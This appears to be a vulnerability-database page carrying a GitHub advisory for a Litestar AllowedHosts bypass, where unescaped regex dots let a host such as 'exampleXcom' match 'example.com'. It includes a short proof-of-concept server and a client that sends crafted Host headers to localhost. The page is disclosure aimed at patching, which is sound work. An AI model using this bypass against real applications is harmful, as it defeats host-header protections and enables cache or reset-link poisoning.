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Open-source package vulnerability · PyPI

CVE-2026-25479: Litestar's AllowedHosts has a validation bypass due to unescaped regex metacharacters in configured host patterns

mediumCVSS 3.1 6.5GHSA-93ph-p7v4-hwh4

Summary AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom Details In litestar.middleware.allowedhosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., .

Published Feb 9, 2026

Affected packages

litestar

Ecosystem
PyPI
Affected
= 2.19.0
Fixed in
2.20.0
Check
pip show litestar

Advisory details

From the GitHub Advisory Database (CC BY 4.0).

Summary

AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom

Details

In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.

PoC

Server (poc_allowed_hosts_server.py)

from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig

@get("/")
async def index() -> str:
    return "ok"

config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)

uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001

Client (poc_allowed_hosts_client.py)

import http.client

def req(host_header: str) -> tuple[int, bytes]:
    c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
    c.request("GET", "/", headers={"Host": host_header})
    r = c.getresponse()
    body = r.read()
    c.close()
    return r.status, body

print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))

Expected (vulnerable behavior): Host: evil.com → 400 invalid host

Host: exampleXcom → 200 ok (bypass)

Impact

Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.

Credited to Sirdorblu.

References

How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology

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